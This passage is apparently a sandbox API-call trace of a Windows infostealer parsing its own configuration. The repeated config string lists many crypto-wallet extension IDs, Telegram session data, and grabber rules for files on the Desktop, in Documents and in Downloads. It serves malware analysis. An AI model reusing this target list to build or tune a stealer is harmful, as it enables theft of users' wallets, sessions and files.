Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.189] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.189] LocalFree (hMem=0x6b9720) returned 0x0 [0260.189] LocalFree (hMem=0x6baf00) returned 0x0 [0260.189] LocalFree (hMem=0x6bc6e0) returned 0x0 [0260.189] StrStrW (lpFirst="ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.189] lstrlenW (lpString="ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2977 [0260.189] lstrlenW (lpString="ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2977 [0260.189] LocalAlloc (uFlags=0x40, uBytes=0x1742) returned 0x6b9720 [0260.190] lstrlenW (lpString="ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2977 [0260.190] LocalAlloc (uFlags=0x40, uBytes=0x1742) returned 0x6bae70 [0260.190] lstrlenW (lpString="ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2977 [0260.190] LocalAlloc (uFlags=0x40, uBytes=0x1742) returned 0x6bc5c0 [0260.190] StrStrW (lpFirst="ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local 